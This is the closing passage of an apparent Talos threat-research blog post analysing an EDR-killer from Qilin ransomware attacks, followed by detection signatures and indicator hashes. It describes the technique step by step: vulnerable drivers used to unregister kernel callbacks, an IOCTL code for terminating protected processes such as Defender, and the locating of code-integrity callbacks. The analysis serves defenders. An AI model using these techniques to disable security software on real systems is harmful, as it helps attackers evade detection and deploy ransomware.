srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image54.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image54.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image54.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image54.png 2162w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 52. </span><code spellcheck="false" style="white-space: pre-wrap;"><span>unregister_callbacks</span></code><span style="white-space: pre-wrap;"> function.</span></figcaption></figure><p>It also demonstrates the overall implementation of the malware, which is also used in several other functions. It uses a certain API function to calculate an offset to the function or object it is really using &#x2014; in this case, the kernel callback <code>cng!CngCreateProcessNotifyRoutine</code>. It also does not touch this object in the process virtual address space. It uses the driver loaded earlier (&#x201C;rwdrv.sys&#x201D;) to get the physical memory address of it. The logic and driver communication is implemented in the <code>read_phy_bytes</code> function, and the same for overwriting memory; the <code>write_to_phy_mem</code> function is used to handle the driver communications. The <code>DeviceIoControlImplementation</code> function which talks to the driver is implemented in <code>write_to_phy_mem</code>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image55.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1370" height="220" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image55.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image55.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image55.png 1370w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 53. </span><code spellcheck="false" style="white-space: pre-wrap;"><span>DeviceIoControlImplementation</span></code><span style="white-space: pre-wrap;"> function called in </span><code spellcheck="false" style="white-space: pre-wrap;"><span>write_to_phy_mem</span></code><span style="white-space: pre-wrap;">.</span></figcaption></figure><p>The other callback-related functions shown in Figure 44 work similarly to the one we discussed. They overwrite or unregister other EDR-specific callbacks, which were set by the EDR Mini-Filter driver.</p><p>The final part of the EDR killer begins by loading another driver (&#x201C;hlpdrv.sys&#x201D;).</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image56.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1872" height="1163" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image56.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image56.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image56.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image56.png 1872w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 54. Load and use of hlpdrv.sys.</span></figcaption></figure><p>The malware uses the driver to terminate EDR processes running on the system using the IOCTL code 0x2222008. This executes the function in the driver which is responsible for unprotecting and terminating the process.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image57.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1269" height="1234" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image57.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image57.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image57.png 1269w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 55. Terminate protected process function in hlpdrv.sys.</span></figcaption></figure><p>Once terminated, EDR processes such as Windows Defender no longer run, as demonstrated in Figure 56.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image58.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="623" height="112" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image58.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image58.png 623w"><figcaption><span style="white-space: pre-wrap;">Figure 56. Terminated Windows Defender process.</span></figcaption></figure><p>Additionally, it restores the <code>CiValidateImageHeader</code> callback. The <code>RestoreCiValidateImageHeaderCallback</code> function is shown in Figure 57.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image59.png" class="kg-image" alt="Qilin EDR killer infection chain" loading="lazy" width="1899" height="1478" srcset="https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w600/2026/03/image59.png 600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1000/2026/03/image59.png 1000w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/size/w1600/2026/03/image59.png 1600w, https://storage.ghost.io/c/af/a0/afa04ee3-414f-4481-8d23-7e7c146f192e/content/images/2026/03/image59.png 1899w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Figure 57. Restoring code integrity checks.</span></figcaption></figure><p>This is accomplished using the same concept we previously saw in Figure 52:</p><ul><li>Resolve a known API function.</li><li>Use this function as an anchor point to locate a specific instruction within its code.</li><li>This instruction contains a pointer in one of its operands that points to, or near, the object of interest.</li><li>Identify the pointer to the target object within that instruction.</li><li>Perform a sign extension on the operand.</li><li>Add an additional offset to compute the final address of the object being sought &#x2014; in this case, the <code>CiValidateImageHeader</code> callback.</li><li>Restore the original function pointer to <code>CiValidateImageHeader</code>.</li></ul><p>Note that the malware had previously overwritten the callback to <code>CiValidateImageHeader</code> with the address of <code>ArbPreprocessEntry</code>, a function that always returns true. In other words, it has now restored the original Code Integrity check.</p><h2 id="summary">Summary</h2><p>This blog was a technical deep dive into the infection chain that is hidden in the malicious &#x201C;msimg32.dll&#x201D;, which has been observed during Qilin ransomware attacks. It demonstrates the sophisticated tricks the malware is employing to circumvent or completely disable modern EDR protection features on compromised systems.</p><p>It is encouraging to see how many hurdles modern malware must overcome. At the same time, this highlights that even state-of-the-art defense mechanisms can still be bypassed by determined adversaries. Defenders should never rely on a single product for protection; instead, Talos strongly recommends a multi-layered security approach. This significantly increases the difficulty for attackers to remain undetected, even if they manage to evade one line of defense.</p><h2 id="coverage">Coverage</h2><p>The following ClamAV signatures detect and block this threat:</p><ul><li>Win.Malware.Bumblebee-10056548-0</li><li>Win.Tool.EdrKiller-10059833-0</li><li>Win.Tool.ThrottleStop-10059849-0</li></ul><p>The following SNORT&#xAE; rules (SIDs) detect and block this threat:&#xA0;</p><ul><li>Covering Snort2 SID(s): 1:66181, 1:66180</li><li>Covering Snort3 SID(s): 1:301456</li></ul><h2 id="indicators-of-compromise-iocs">Indicators of compromise (IOCs)</h2><p>The IOCs for this threat are also available at our GitHub repository <a href="https://github.com/Cisco-Talos/IOCs/blob/main/2026/04/overview-of-ransomware-threats-in-japan.txt" rel="noreferrer">here</a>.</p><p>msimg32.dll<br>MD5: 89ee7235906f7d12737679860264feaf<br>SHA1: 01d00d3dd8bc8fd92dae9e04d0f076cb3158dc9c<br>SHA256: 7787da25451f5538766240f4a8a2846d0a589c59391e15f188aa077e8b888497</p><p>rwdrv.sys <br>MD5: 6bc8e3505d9f51368ddf323acb6abc49<br>SHA1: 82ed942a52cdcf120a8919730e00ba37619661a3<br>SHA256: 16f83f056177c4ec24c7e99d01ca9d9d6713bd0497eeedb777a3ffefa99c97f0</p><p>hlpdrv.sys <br>cf7cad39407d8cd93135be42b6bd258f<br>ce1b9909cef820e5281618a7a0099a27a70643dc<br>bd1f381e5a3db22e88776b7873d4d2835e9a1ec620571d2b1da0c58f81c84a56<br><br>EDRKiller.exe (non-fixed memory dump with overlay)<br>MD5: 1305e8b0f9c459d5ed85e7e474fbebb1<br>SHA1: 84e2d2084fe08262c2c378a377963a1482b35ac5<br>SHA256: 12fcde06ddadf1b48a61b12596e6286316fd33e850687fe4153dfd9383f0a4a0<br>Time stamp: 0x684d33f0 (14. June 2025, 08:33:52 UTC)<br>ImpHash : 05aa031a007e2f51e3f48ae2ed1e1fcb<br>TLSH: T1B4647C01B7E50CF9EE77C638C9614A06EA72BC425761DADF43A04A964F237D09E3DB12</p>]]></content:encoded></item></channel></rss>